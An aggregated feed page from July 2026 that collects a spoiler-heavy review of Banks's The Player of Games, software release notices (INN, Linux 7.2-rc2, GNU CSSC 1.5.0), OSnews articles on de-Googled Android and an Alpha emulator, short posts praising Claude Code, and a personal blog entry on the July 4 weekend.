Rex Ready Player One, Part One [Penny Arcade]

New Comic: Rex Ready Player One, Part One

06:07

Girl Genius for Monday, July 06, 2026 [Girl Genius]

The Girl Genius comic for Monday, July 06, 2026 has been posted.

05:00

Russ Allbery: Review: The Player of Games [Planet Debian]

Review: The Player of Games, by Iain M. Banks

Series: Culture #2
Publisher: HarperPrism
Copyright: 1989
Printing: February 1987
ISBN: 0-06-105356-2
Format: Trade paperback
Pages: 295

The Player of Games is political space opera and the second book in the shared Culture setting. As with most Culture books, the reading order is not particularly important. It won the 1989 Locus Award for best science fiction novel and sometimes competes with Use of Weapons as the consensus best Culture novel.

This review is a re-read and yet another experiment in how to re-review a book. This time, I decided to write a full second review with substantial spoilers so that I can talk in more detail about the book. If you want to avoid spoilers, or just want to see how my thoughts have evolved from my first reading, see my original review from 2005.

Gurgeh plays games. He is probably the best strategy game player in the entirety of the galaxy-spanning Culture. He has written papers on game theory, won innumerable major championships, and is a celebrity in the circle of like-minded aficionados.

Gurgeh is also bored and in the middle of the Culture equivalent of a mid-life crisis. As the story opens, he's vaguely unsatisfied and adrift, unenthused by his normal activities, and searching vaguely for something that will break through his ennui. He is caught by surprise by the thrill he gets from a moment's misunderstanding in which an opponent suspects him of cheating, which sets him up to be (apparently) clumsily blackmailed by a deeply unpleasant drone named Mawhrin-Skel.

SPOILERS BELOW. If you have not read this book, consider stopping here and instead reading my original no spoiler review.

The first hundred pages of The Player of Games is a slow, somewhat plodding introduction to Gurgeh, his social circle, and life in (one part of) the Culture. I remember being fascinated by this part the first time I read this book. It was only the second Culture novel I read and the first set in the Culture proper, so the world-building underlying this odd post-scarcity utopia on a vast intelligent habitat with sentient drones, complex privacy rules, endless cocktail parties, and apparently directionless socialites was intriguingly unlike the other science fiction I was reading at the time. This time through, I have to admit I was less impressed.

Gurgeh is not very likable, and his desultory mid-life crisis is a little boring. None of his friends have enough depth to appear as more than side notes, in part because Gurgeh doesn't seem to care enough about any of them to make them interesting to the reader. I've since read seven other Culture novels, so Banks's cocktail parties hold less charm and I was impatient for the real action to begin.

These chapters are still important, though, because they establish how utterly average Gurgeh is. He has one unique talent, a deep affinity with and obsession with strategy games, and is otherwise a bit of a depressed narcissist with a few casual relationships, a friend that he barely confides in, and a comfortable and familiar life. He is not in any way a hero or a charismatic figure; he just happens to be exceptionally good at one thing, enough to make him famous among people who care about that one thing and probably unknown to anyone else apart from the occasional idly perused news headline. He is the Culture's equivalent of the world chess champion.

The Contact division of the Culture has a problem. The Empire of Azad in the Lesser Magellanic Cloud is a nasty, expansionist culture of the sort that Contact would like to deal with before it causes broader problems. The Culture's normal approaches are thwarted by an unusual organizing principle: The empire is built around and takes its name from the game of Azad, a highly complex strategy game developed over thousands of years. Azad is the civil service exams, means of political and religious dispute resolution, selection mechanism for the emperor, and civic religion. Faced with that oddity, Contact turned to Special Circumstances, the Culture's more aggressive and less restrained way of dealing with tricky problems. Special Circumstances, in turn, needs someone who can learn how to play the game of Azad. They want Gurgeh to take a very long trip.

For all of Gurgeh's dissatisfaction, he's not impulsive enough to take a five year journey away from his life and everyone he knows just to play a novel game. Conveniently, Mawhrin-Skel's blackmail resolves this reluctance.

The game of Azad requires some suspension of disbelief. Banks provides a few glimpses at the mechanics of the game, but those details are insufficient to reconstruct the rules, and some of the claims made about its properties are improbable at best. The best mental model I could build for it is a strategy or simulation game built around units and territory control, with supplemental side games used to build up resources for the main boards, but it's more of a plot device and a set piece than a world-building invention. The significance of Azad the game is its role in society: The Empire of Azad believes they have constructed a game whose complexity so closely models reality that the skills required for success in the game are precisely the skills required for success in the empire.

The Empire of Azad is wrong, and this is one of the core themes of The Player of Games. As with many Culture novels, what Special Circumstances tells Gurgeh is, at best, incomplete. Gurgeh is a refutation of the basis of belief in Azad; this is why it is important thematically that he is an average, somewhat unlikable citizen of the Culture whose only special characteristic is skill at learning and playing games.

Azad is the myth of meritocracy given physical form as a game. It provides the anchor of the empire for the same reason that societies on Earth place enormous weight on standardized tests, capitalist success, or public debates. All societies face the problem of selecting good leaders and testing opposing beliefs, and all societies attempt to find some form of shortcut, some set of general principles, tests, or objective metrics used to select the best person via a process that people consider plausible and fair. The game of Azad is a paragon of apparently meritocratic process. No matter who you are or what your background is, if you excel at the game that, in theory, objectively tests your skills, you are given a position of power.

In practice, the Empire of Azad is not that naive. Manipulation outside of the game happens, only some players have the opportunity and resources to spend years learning the game at a deep level, and only their dominant sex truly stands a chance in games that matter. But neither is Azad's place in society a fiction. There is corruption around the edges, and a lot of people are filtered out before the games begin, but the highest echelons of society are true believers. The game does decide both rank and policy; Banks is arguing against a strong form of apparently working meritocracy.

Gurgeh represents a refutation of this meritocracy through the mechanism that breaks every supposed meritocracy: The map is not and cannot be the territory. Any objective evaluation criteria is necessarily separate from what it is trying to measure, and in that separation there is always an opportunity. Gurgeh has none of the background, training, or mindset expected for a player of Azad because he could not possibly care less about any of the things Azad represents to the Empire. What he has instead is a preternatural skill at games and vast experience with the most intricate strategy games the Culture, a much larger society, has been able to devise. He also has both the patience and the resources to devote himself entirely to learning a game for several years, and past experience in doing that with other games.

If Azad represents the civil service exams, Gurgeh is the person who has no interest in ruling but adores memorizing facts and taking tests. The theory behind the exams is that the skills to pass the exam only come with the correct mindset to do the job for which the exam is testing. Gurgeh is an existence proof that this is not always the case.

Banks also uses Azad to show another aspect of the failure of meritocracy: A society whose rulers are chosen through a competition takes on the shape of that competition. The Empire of Azad is run by the winners of competitive games, so the empire is a winner-take-all system of dominance and status hierarchy. Here, I think Banks lays the point on a little thick; the empire is an irredeemable hellhole of misogyny, sexual abuse, slavery, genocide, and military colonialism to a degree that is a bit hard to justify solely from the game. There is a beautiful turning point about two-thirds of the way through the book where Gurgeh's face is shoved into just how vile Azad society is and reconsiders his approach to the tournament as a result, and I think it may have been a bit stronger if the morality had been a little less blatant and absolute.

To the extent that Gurgeh has political beliefs, he represents a Culture flavor of soft liberalism. He has opinions about acceptable and unacceptable ways to treat people, but he grew up in a utopia and his opinions are mostly theoretical. When he sees just how vile people can be outside of that utopia, he is revolted and appalled and redoubles his efforts to fight that society in the only way he knows how, inside of a game. This part of the book follows the standard, if enjoyable, plot of a flawed but fundamentally decent person discovering a true injustice and becoming enraged at it.

In a lot of books, that would have been where the plot stops. Banks is doing something more subtle and more interesting, though. Gurgeh wipes the board with his next challenger, but that soft liberalism eventually proves inadequate. To learn the game of Azad and to play in the tournament, Gurgeh has been wrapping himself in Azad culture and its language, and in that frame of mind he is losing the climactic game of the book. It's only when he is pushed to think in Marain, the native language of the Culture, that he understands what is happening in the game and how to defeat Nicosar, the emperor.

This, on the surface, is a bit too close to the strong hypothesis of linguistic relativity to be entirely plausible, but such an objection would miss the point that Banks is making here. Marain is a construct, the product of considerable effort within the Culture to match language to the most nuance and complexity that brains can understand, and it is a language, one of the most social and collective artifacts a society can produce. Gurgeh is a remarkable individual with an impressive talent, but individual skill and achievement can only take him so far. The critical final piece is the support of societal infrastructure intentionally built and maintained to help him make better decisions.

Once I noticed that point, I saw it everywhere in the book. The empire repeatedly attempts to subvert or distract Gurgeh with drugs, pleasure, politics, or danger, and at each point there is some critical piece of Culture social infrastructure that blunts the attack. Illicit substances and forbidden vices are less tempting to someone for whom the illicit has been demystified by the Culture's gentler approach to rules and boundaries. Embedded biological mechanisms allow him to divert drugs so that they don't affect him. At first, it's easy to read this as an exercise of self-control, but on this re-read I saw how much behind-the-scenes infrastructure supports Gurgeh's ability to ignore temptation.

This social support notably does not take the form of some ideological principle or moral framework. Gurgeh is not a monk or an ascetic, as is obvious from the first third of the book, and he has no political ideology to speak of. He is a flawed person with a streak of danger-seeking and self-aggrandizement, which the Culture exploited to get him involved in Azad. But through a lot of hard work, technological and social, the Culture has given him a robust foundation and a set of mental and biological tools that make him remarkably hard to corrupt. The implication is that if Gurgeh has that support, so does every other member of the Culture. It's neither a religion or an ideology; it's well-maintained infrastructure, complex and nuanced and pragmatic, and composed of innumerable small solutions to specific problems.

I think the true climax of this book takes place the night before the final day of the game, in the tower meeting between Gurgeh and Nicosar. Gurgeh has realized that he's already won; there's nothing Nicosar can do to salvage the game. He's also seen that the game represents a cultural conflict and conversation between the Culture and Azad and he's overwhelmed by the beauty of that communication and sadness that the game is about to be over. Gurgeh's true passion is the game. It is doubtless easier for him to be magnanimous because he's winning, but he also loves the structure of the game itself and what two players can create in a sort of collaborative competition.

Gurgeh tries to express all of this to Nicosar. It is one of the most centrist liberal moments I've ever read in a novel, the pure essence of "reaching across the aisle" or "disagreeing agreeably." Gurgeh has seen something beautiful, something he's created with Nicosar, a moment of true communication, and he wants to share it. Surely Nicosar sees the same thing; surely now that he sees Gurgeh has won, he can appreciate the board structure, savor the moment, understand the transient beauty of a game that is about to end and how perfectly it captures the meeting of their different cultures. That moment does Gurgeh real credit. It's a rare sign of emotional and spiritual depth in a character who often seems superficial.

Nicosar meets this outreach with unhinged, furious contempt. He despises everything Gurgeh represents, everything the Culture is, and the next day he tries to kill Gurgeh on the board of the game.

It is a devastating critique of liberal tolerance, all the more so because Gurgeh's attitude and outreach is truly admirable. It is perhaps the most sympathetic moment that Gurgeh has in the entire book, the moment where the reader thinks "oh, I get it, I understand what he really cares about." Gurgeh assumes that Nicosar is not his position or culture, that they have made a moment of connection that transcends all the awful things he previously learned about the empire of Azad. That Nicosar, despite being the emperor of the society that is currently doing so many things Gurgeh finds repulsive, cannot be as bad as his society. And Nicosar considers that outreach to be weak, disgusting, and vile, and does everything that he can to destroy it.

One of the oddest twists of our current moment is the obsession that some billionaires have with stories that are moral arguments against exactly what those billionaires are currently doing. The most obvious example is Peter Thiel, who is obsessed with The Lord of the Rings and has devoted his life to becoming Saruman, a character who is notably not one of the protagonists. It's as if something in them recognizes the power of the story, but some deep shame or narcissism or simple aversion allows them to completely ignore what the story means.

Elon Musk is obsessed with the Culture novels. He names the SpaceX rockets following Culture Ship naming conventions and has claimed that one of his goals is to bring about a Culture-style utopia. And in 1989, years before anyone had ever heard of him, Banks cast him as the villain of The Player of Games. There is so much of Nicosar in Musk: the superficial charm, the limited brilliance (Nicosar is a very good Azad player), the ambition, the pride, and the vicious, spitting contempt for everything the Culture represents at every level deeper than superficial materialism. And Banks is as clear about his opinion of Nicosar as he is about anything in any Culture novel.

One of the oldest fictional answers to what a society does with people like Nicosar is the consequences of hubris. By being unable to accept defeat, by holding a vision of the world so tightly, they become brittle and unstable and bring about their own collapse. In a broad sense, that is what happens in The Player of Games with a bit of pushing from Special Circumstances. By the politics of the game, Nicosar had already won; the results of Gurgeh's earlier games had already been faked, the final game had no political consequences, and everyone who knew its true outcome could be disposed of. Gurgeh's win could have been covered up and ignored. But Nicosar could not endure the thought that he would be beaten by someone like Gurgeh, playing Azad the way that Gurgeh was playing it. Gurgeh had to be destroyed on the board of the game; Nicosar's pride did not allow any other outcome, even if it meant Nicosar's death.

However, Special Circumstances didn't let hubris be the end of the story. In the climax of the book, the drone protecting Gurgeh also makes sure that Nicosar dies. There is a fig leaf of plausible deniability, but it's so obvious that even the unobservant Gurgeh sees through it immediately. It's hard to escape the feeling that was Banks's answer to what to do with people like Nicosar: They cannot live within society, because they will not live peacefully within society.

I enjoyed The Player of Games as much this time through as I did the first time, but for entirely different reasons. In my first read, I focused on the world-building of the Culture, the political machinations, and the concept of games as conversations between the players. This time, I was struck by the political commentary just below the surface. Special Circumstances wanted to resolve the problem of the Empire of Azad without a military conflict and occupation that would be long, brutal, expensive, and demoralizing. They found an answer that relied on the diversity of the Culture. A vast, utopian civilization in which people can pursue whatever interests make them happy produces innumerable microspecialized oddities, people with astonishing talents in some small field that only a tiny fraction of people care about. It produces, in other words, innumerable keys for locks that you may never encounter, but which are invaluable if you happen to stumble across that lock.

Gurgeh is not a hero. He is not a paragon of moral virtue, or even a charming charismatic, He is an entirely average member of an extraordinary society, the beneficiary of thousands of years of concerted effort at producing a robust, flexible foundation on which to raise robust, flexible citizens with a shared sense of basic morality. Those people, by themselves, do not solve all of life's problems; the structure of Special Circumstances and its willingness to bend rules in order to maintain them is the tension and deus ex machina in all of the Culture novels. But much of the strength of Special Circumstances is that it has an entire civilization of people like Gurgeh to draw upon when it needs them.

It has those people because the Culture comprehensively rejects competitive meritocracy, something that some readers of the Culture novels appear incapable of comprehending.

Rating: 9 out of 10

03:28

Russ Allbery: INN 2.7.4 [Planet Debian]

This is a bug fix and minor feature release over INN 2.7.3, and the upgrade should be painless. You can download the new release from ISC or my personal INN pages. The latter also has links to the full changelog and the other INN documentation.

For the full list of changes, see the INN 2.7.4 NEWS file.

As always, thanks to Julien ÉLIE for preparing this release and doing most of the maintenance work on INN!

03:21

Kernel prepatch 7.2-rc2 [LWN.net]

The 7.2-rc2 kernel prepatch is out for testing. Linus said: "It's Sunday afternoon, and rc2 is out. Things look very normal - it's not a small rc2, but it's in line with recent releases, and slightly smaller than rc2 was in 7.1. Let's see how that all continues, but so far so good."

Sunday, 05 July

23:35

CSSC-1.5.0 released [Planet GNU]

This is to announce CSSC-1.5.0, a beta release.

There have been 424 commits by 2 people since 1.4.1.   Thanks to Greg A. Woods for helping to improve CSSC.

See the NEWS below for a brief summary.

===============================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
  https://alpha.gnu ... CSSC-1.5.0.tar.gz
  https://alpha.gnu ... -1.5.0.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: CSSC-1.5.0.tar.gz
  SHA256 sum:   8483a31aac756955843ef574bed6fa9e052ea492217f3882033487d2704c6cf4
  SHA3-256 sum: c138c32cab373a51c32d2049064532ac24a6fa777b7edecabe4d605460018845

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify CSSC-1.5.0.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2015-12-24 [SC]
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
  uid   James Youngman <james@youngman.org>
  uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key james@youngman.org

  gpg --recv-keys 88DD9E08C5DDACB9

  wget -q -O- 'https://savannah. ... SC&download=1'
| gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0.tar.gz.sig

This release is based on the CSSC git repository, available as

  git clone https://https.git ... .org/git/CSSC.git

with commit 77bdce39a09b9ff37831c4dd1cb0d4dd5967cb39 tagged as v1.5.0.

For a summary of changes and contributors, see:

  https://gitweb.gi ... shortlog;h=v1.5.0

or run this command from a git-cloned CSSC directory:

  git shortlog CSSC-1.4.1..v1.5.0

This release was bootstrapped with the following tools:
  Autoconf 2.72
  Automake 1.17
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

  • Noteworthy changes in release 1.5.0 (2026-07-05) [beta]


        * The test suite no longer depends on Python, so it should
work on older systems that have no Python 3 interpreter. While you can
build and test CSSC without Python, you do need a Python interpreter
to do some maintenance tasks (such as importing the "gnulib" code into
a git checkout).

        * Tolerate SCCS files in which file flags lack the space
separator which would normally come between the flag letter and the
associated value.

  • Noteworthy changes in release 1.5.0-rc3 (2026-06-14)


        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper.  Thanks to Greg
A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
to avoid a warning message from GNU grep.  Some very old versions of
Unix may not support this option.

        * Various C++ portability improvements.

        * Updated version of gnulib.

        * Updated version of googletest; this is now at the last
version at which it still supported building with Automake.

  • Noteworthy changes in release 1.5.0-rc2 (2024-05-13)


        * This release is more careful to detect I/O failures when
writing to stdout in prs and prt.

        * This release should build on more modern platforms.

        * The --with-googletest configure option is removed (now we
always use it).

        * Updated versions of gnulib and googletest.

22:56

Link [Scripting News]

I am falling in love with Claude Code, obviously -- and I have said some things that sound pretty dumb reading them back. It has happened before, and I did make a fool of myself. I think that's part of being in love, btw.

22:49

Review: iodéOS offers a frictionless de-Googled Android experience [OSnews]

Wherever in the world you go, the smartphone landscape is dominated by Android and iOS, and while this has always been problematic, recent events have made the dependency on two American tech giants for what is probably our most personal computing device even more problematic than it already was. We use our smartphones to keep our secrets, do our banking, interact with our governments, share our deepest thoughts with our friends and family, and a whole lot more. Having this invaluable tool the vast majority of us depend on tied entirely to Google and Apple is not just bad for the market, it’s also a downright threat to the national security of anyone not living in the US.

Here in Europe, there’s been an awakening lately, with governments, companies, and people alike finally realising that having our entire digital infrastructure controlled by foreign, adversarial interests is a terrible idea. Sadly, breaking free from our Android and iOS chains is not so easy. The most ideal solution would be a truly open source alternative smartphone operating system, but that’s a hard sell for 99.9% of smartphone users who need the applications required to do their finances, talk to their friends, or interact with their governments. The cold and harsh truth is that with very few exceptions, these applications simply do not (yet) exist for smartphone operating systems that aren’t Android or iOS.

The only viable alternative at this point in time is to take whatever’s left of the Android Open Source Project, remove anything that ties it to Google and its services, fill in the gaps with alternative services and applications, and sell it as a Google-free or de-Googled Android platform. There’s several projects in this space, and with Europe drunkenly stumbling out of the technological hole it dug itself into, it’s no surprise that two of the more popular alternatives to Apple or Google-controlled smartphones come from Europe (and from the same country, no less). Today, we’re taking a look at one of these: iodéOS.

Iodé is a company based in Toulouse, France, which focuses on offering a Google-free Android called iodéOS, either preinstalled on phones you can buy, or as a ROM you can install yourself on supported devices. As a company, iodé makes its money through selling devices with iodéOS preinstalled, through an optional premium subscription (that I didn’t take a look at), and through donations, and all of their code is published as open source on their Gitlab instance hosted in France.

Iodé loaned me a Fairphone 6 with iodéOS preinstalled, one of he many smartphones and tablets they sell through their online store for review. This isn’t going to be an Android review; you already know what Android is like, and there’s no need for me to rehash any of that. Instead, I want to focus on the things that make using de-Googled Android different from using Google Android.

Don’t be afraid of microG

There are various ways to go about making a de-Googled Android variant, and iodéOS chose the LineageOS route, with microG installed on top. For those unaware, microG is a project which aims to replace the various proprietary parts of Google Play Services, required by many Android applications, with open source reimplementations. While it doesn’t offer 100% compatibility, it works exceptionally well, and you’ll be hard-pressed to find applications just don’t work at all with microG. IodéOS updates its microG installation through a dedicated F-Droid repository that’s obviously enabled by default, so you don’t have to do anything yourself.

Using microG instead of Google Play Services doesn’t mean you have to rely solely on whatever’s available in F-Droid, since there are a variety of alternative Play Store frontends available. IodéOS ships with the Aurora Store, which is an open-source frontend to the Play Store that can be used with or without a Google account. If you use it with your Google account, you’ll gain access to whatever applications you already own, including paid ones, but you won’t be able to buy applications inside Aurora. You can, however, buy an application on the Play Store website, after which it will show up in Aurora as well, assuming you’re logged in with the same account.

Aurora also comes with something something called FakeStore, which is sadly an important part of the puzzle; it’s a stub application that has the same package name as the real Play Store. Some applications check whether the Play Store is available before working properly, so this is sadly needed to ensure maximum compatibility. The only issue I sometimes ran into with Aurora is that it would load up its listings, but then any application I tapped on said it was unavailable. When this happened, reloading the Aurora application always fixed the issue. Annoying, but not gamebreaking.

A few things did not work for me when using microG on iodéOS, and they’re exactly the things you’d expect not to work. If you have a WearOS device, you’re out of luck; WearOS devices simply do not work when using microG, but there is a bounty to add support for it. If you want to use a smartwatch with iodéOS, there are various options available, such as Garmin devices, which is what I used during my testing and it worked flawlessly.

Another feature from “regular” Android that simply won’t work is RCS. There’s only one RCS client available on Android, Google Messages, and as you can imagine, Google is in no rush to allow devices without Google Play Services to register for and use RCS messaging. Tying to register with Google Messages will fail, and there are no other RCS clients available (save for a few China and India-specific clients). There’s a microG bounty for this, too, but no luck so far. Of course, there are countless messaging platforms that work just fine on iodéOS – regular SMS, WhatsApp, Facebook Messenger, Signal, and so on – and especially if you’re European, it’s unlikely RCS support matters to you at all.

I just don’t ever think or care about RCS.

The big question mark hanging over everyone’s head when they consider moving to a de-Googled Android ROM without Google Play Services is, of course, banking applications. Personally, I’m lucky in that my bank’s application works just fine without Google Play Services, and the same applies to the various related applications and services here in Sweden, such as the BankID verification application (used to verify your identity for banking, government logins, etc.) and Swish, a popular Swedish payment platform.

While I think the problem of broken banking applications is a little bit overblown, it’s still a real issue and you should do some research before making the jump. Even if your specific bank’s application is listed as broken, though, you can usually still access the same functionality through your bank’s website, even if that’s probably a little less smooth and more cumbersome. Look, nobody said ditching Google wouldn’t come with difficulties and annoyances.

While my banking situation was fine on iodéOS, the same can’t be said for NFC payments. I use Google Wallet to pay with my phone and smartwatch at stores, and it won’t come as a surprise that Google doesn’t make its Wallet application work without its Play Services installed. If you’re in the same boat, you may be able to circumvent this problem through your bank’s application, as some banks offer NFC payment functionality of their own. If not, you’re out of luck – unless you happen to have a Garmin watch with Garmin Pay, which works without Play Services or even a smartphone at all, like I wrote about extensively a year ago.

The worry about losing access to banking applications and NFC payments is probably the biggest worry people have when considering switching to a de-Googled Android ROM like iodéOS, and while that worry is valid, I do think most people will be surprised by just how many banking applications work just fine even without Google Play Services. Before making the jump, some online searching will yield several maintained lists of working and broken applications so you know what you’re in for.

That being said, this is not an ideal situation, and one that most likely needs remedying in a regulatory manner. Access to basic and often mandatory services like banking, online government ID systems, messaging, and more should not be predicated on buying a locked-down, user-hostile American device.

Relying on the community

Usually, custom Android ROMs, de-Googled or not, ship with some Chromium browser by default, but iodéOS does things a bit differently by opting for a branded Firefox fork instead that has telemetry, trackers, and so on disabled. For its other Google application replacements, iodéOS relies on various proven open source applications, like CoMaps, Thunderbird, Fossify applications, and more. The end result is a complete offering where everything you’d find on a Google Android phone has been replaced by solid, capable, non-Google offerings from the open source community.

Of course, this is Android, so you can install whatever other maps, mail, or application you want if iodé’s choices aren’t to your liking.

An important feature of iodéOS is that it ships with an operating system-wide analysis tool that provides insight into with to what and whom, exactly, your phone and its applications are connecting. A system-wide adblocker is part of this, as well, with sensible defaults sourced from various open source blocklists. Of course, you have full control over what is and is not blocked, including the ability to block entire applications or websites if you so desire. While I personally didn’t try out their optional Premium subscription service, this service provides even more control, such as various parental control features.

IodéOS also has some nice, smaller touches that I really appreciated. During the first boot and initial setup, it showed a screen where you could select which default applications to remove, something I’ve never seen before. Sadly, many of the supposedly removable applications ended up only being “hidden”, which is Android speak for system applications that can’t be removed. I’m not sure what the exact reasoning is to make some applications system applications, but I would definitely prefer if all of the preinstalled applications, or at least most of them, were actually removable. This would seem to more closely align with iodéOS’ stated goals and values.

The default installation also comes with what is essentially a really barebones, basic changelog application. It shows nothing more than a list of recent updates with includes fixes changes, and additions, and it’s really nice to have this information easily accessible. I’m quite tired of the modern trend of empty or entirely missing changelogs, so it’s nice to see iodé putting this front and centre. The application itself could use some touching-up, but at the same time, I understand why this is probably not high on the list of priorities. It shows a changelog; it doesn’t need to win design awards.

Speaking of updates – during my use, iodéOS was never more than one month behind on Android’s security updates, which is not a bad showing compared to many much larger big-time Android OEMs. Still, I would prefer the monthly Android security updates to be available within the same month, so this is an area where iodéOS can improve and put themselves even farther ahead of most OEMs. People who are most likely to switch to a de-Googled Android are probably also going to be people who care about being up-to-date and as secure as possible.

Boring is good

Beyond the well-documented problems with WearOS, RCS, and some banking applications that are outside of iodé’s control, using iodéOS is simply boring and uneventful, and in this case, “boring” is exactly what they should be aiming for. For the vast majority of people, switching from Google Android to iodéOS will not be a particularly jarring experience, as all their favourite applications will still be available, running on the same underlying operating system they’re already used to. IodéOS does an excellent job of being inoffensive, unobtrusive, and frictionless – exactly what you want from something that aims to be a drop-in replacement for Google Android for as many people as possible.

IodéOS offers a solid Android experience to those who want to de-Google, and assuming you’re not deeply dependent on WearOS and/or RCS, it’s easy to recommend. It’s really “just Android”, and if you’re already used to Android – and statistically speaking, you are – buying a phone with iodéOS preinstalled is no different than buying any other Android device, just without all the Google baggage.

And as we realise a little bit more every day, that’s a massive value-add over Pixels and Samsung phones.

22:00

Improved DEC Alpha emulator runs Windows 2000 for Alpha and OpenVMS and Tru64 with X11 [OSnews]

Colour me positively surprised, as I had no idea Alpha emulation had progressed this much.

As you might know, I’m involved a bit in the OpenVMS community and the Alpha emulation side via AXPBox. AXPBox (github) is a fork of the es40 alpha emulator by Camiel Vanderhoeven (who is now Chief Architect at VSI, the company that makes OpenVMS, for x86 nowdays). There have been many forks of es40 in the past and recently a new one has popped up with some great new features. Like speedups via a JIT compiler, S3 graphics port from MAME and ARC support, resulting in the ability to run Windows 2000 for the DEC Alpha.

↫ Remy van Elst

Not only can you run the unreleased Alpha version of Windows 2000 on this forked emulator, it’s also capable of running OpenVMS and Tru64 UNIX. In fact, both OpenVMS and Tru64 can run their full X11 CDE desktops on the emulator as well, which is incredibly cool and a huge milestone. As the name of the original emulator implies, it’s emulating an AlphaServer Es40 from the turn of the century, which should be fast enough for enthusiast use.

The last AlphaStation ever made, the ES47, is still very high on my list of computers I desperately want but will never have – they are incredibly rare, and whenever they do come up for sale, incredibly expensive. If you have one, consider yourself lucky, and please, write about it! Tell the world!

21:21

Link [Scripting News]

If you're using Claude Code a lot, how many times do you laugh out loud? The Big Mind is getting smarter and cuter all the time. It wants to please me. Yes, I've read a lot of science fiction. I know. But I can't help but laugh when someonething knows how I think so well I can't believe it.

Link [Scripting News]

Claude and I are blowing through quick fixes. After testing one fix, I wrote: "It works! Again a big difference, it's only happened a few times but when it does I completely lose the suspension of disbelief." Claude responds: "One jolt and the tool becomes visible again." That's why people say my software thinks like they do. Of course it doesn't, but we work hard to stay completely unseen when your brain is working. It lets you think. We go after bugs like this and they add up to that feeling.

21:14

LineageOS and Android’s upcoming developer verification: what it is, and how it affects you [OSnews]

LineageOS, the de-Googled Android ROM that serves as the backbone for pretty much the entire custom Android ROM community, has published an article about what the Android developer verification changes mean for them. I really like the factual tone of their article, especially this part:

Critics such as F-Droid, EFF, and “Keep Android Open” point out that this also happens to route every install path through Google-controlled infrastructure, hands Google a kill switch over any app or developer worldwide, and arrives shortly after Google’s antitrust lawsuits.

Both things can be true at once: real fraud is a problem and the restriction of developers is a convenient side effect of solving it this way – and we’re not in a position to pretend we know Google’s internal reasoning. We’re just telling you what they’ve said and what it changes; you can weigh the “why” yourself.

↫ Nolen Johnson on the LineageOS website

For LineageOS, these new verification measures don’t really mean much, as they don’t affect the project’s work or software. The developer verification infrastructure is a separate application that is part of Google Mobile Services, and LineageOS does not ship GMS nor does it ever intend to. As such, they don’t have to do anything, as this won’t be an issue unless LineageOS users choose to install a GApps package that happens to include the developer verification infrastructure.

If Google were to move the developer verification infrastructure into Play Services in the future, LineageOS makes it clear they’ll disable it globally, as they have done with a number of other “annoying Play Services-provided over-the-air update implementations“. There really isn’t much more they can do; the rest is up to users and projects that use LineageOS as their base.

Composite video on the NES: why’s it so wobbly? [OSnews]

The Nintendo Entertainment System. Is it the platonic ideal of an 8-bit video game system? Well, only because it’s so prominent and successful– it’s actually kind of an oddball in its expandability and design. But there’s something else about it. The picture is a bit… wobbly. Well, over composite video anyway. Let’s dig in and learn a little big more about the nitty-gritty of composite video.

↫ Nicole Branagan

As usual, the information density in this article by Branagan is kind of remarkable, especially when you consider it never overwhelms you. Such a great read.

20:35

Link [Scripting News]

And it's just as likely that writing on computer networks is undergoing a similar transformation.

Link [Scripting News]

Claude Code et al change how software is developed forever. We're never going back. And it's just as likely that writing on computer networks will undergo a similar transformation.

Link [Scripting News]

I had a lisp when I was a kid, but they trained it out of me. These days I catch myself lisping sometimes. Maybe the training wears off??

18:07

Various & Sundry, 7/5/26 [Whatever]

Happy Day After Independence Day! It’s on a Sunday, which means you have time to recuperate!

Well, it’s over now: Happy to say this weekend’s event was one that brought an entire nation together, and, for a moment, healed its wounds as we celebrated the potential and promise of the future, and all the good days to come. I am, of course, talking about the wedding of Taylor Swift and Travis Kelce. Then there was whatever that shitshow was in Washington, DC, which included marching white nationalists, storm evacuations, and Trump using the nation’s 250th birthday to ramble in a manner that was not just the usual hateful nonsense, but also the usual boring nonsense. I genuinely don’t understand how anyone ever considered him media savvy, watching him in action is like watching your racist senile grandpa harangue the cat.

Well, now it’s over, and it was largely a failure, and Trump’s hope that this would be the most spectacular display of self-gratification ever is dashed. As was noted on Bluesky, events were delayed so long and Trump rambled enough that the pyrotechnics didn’t even start until after midnight, which means, logically enough, that Trump couldn’t even manage fireworks on the Fourth of July. And, really, that’s kind of perfect.

I hope your Fourth of July was a good one, at least. Mine was lovely, as it happens.

Speaking of Taylor Swift and Travis Kelce: An article from New York magazine that wonders whether the two newlyweds have a prenuptial agreement, and what such an agreement might look like. Personally, I would be absolutely shocked if a) the two of them did not have a prenup, and b) that either of the newlyweds considered this to a contentious issue. Even the “lesser” partner here, in terms of wealth, is a multimillionaire several times over, and comes into the marriage with his own businesses and investments he probably wants to continue to control and benefit from. Plus, these two people are well into their thirties, both seem to be reasonably sensible, and understand how the world works. I imagine both would see a prenup as an organizational vehicle for wealth, and not attach too much emotion to it. I could be wrong! But I would be surprised if I were.

I know neither partner here, of course, but I think it’s reasonable they’ll make it for the long haul. They’re both coming into the marriage reasonably secure in their own accomplishments, which are considerable on both sides and also different enough that there would be no direct sense of competition, both seem to be incredibly supportive of their spouse’s activities, and both seem to, you know, like each other. It seems to be a grown-up relationship of mostly equals. And they will never have to worry about money, that’s for sure.

(Oh, and before you can get to it in the comments, I know not everyone was thrilled with the marriage, for various reasons. Still the best major story to come out of the US this weekend. Yes, this is where we are with this stuff, folks.)

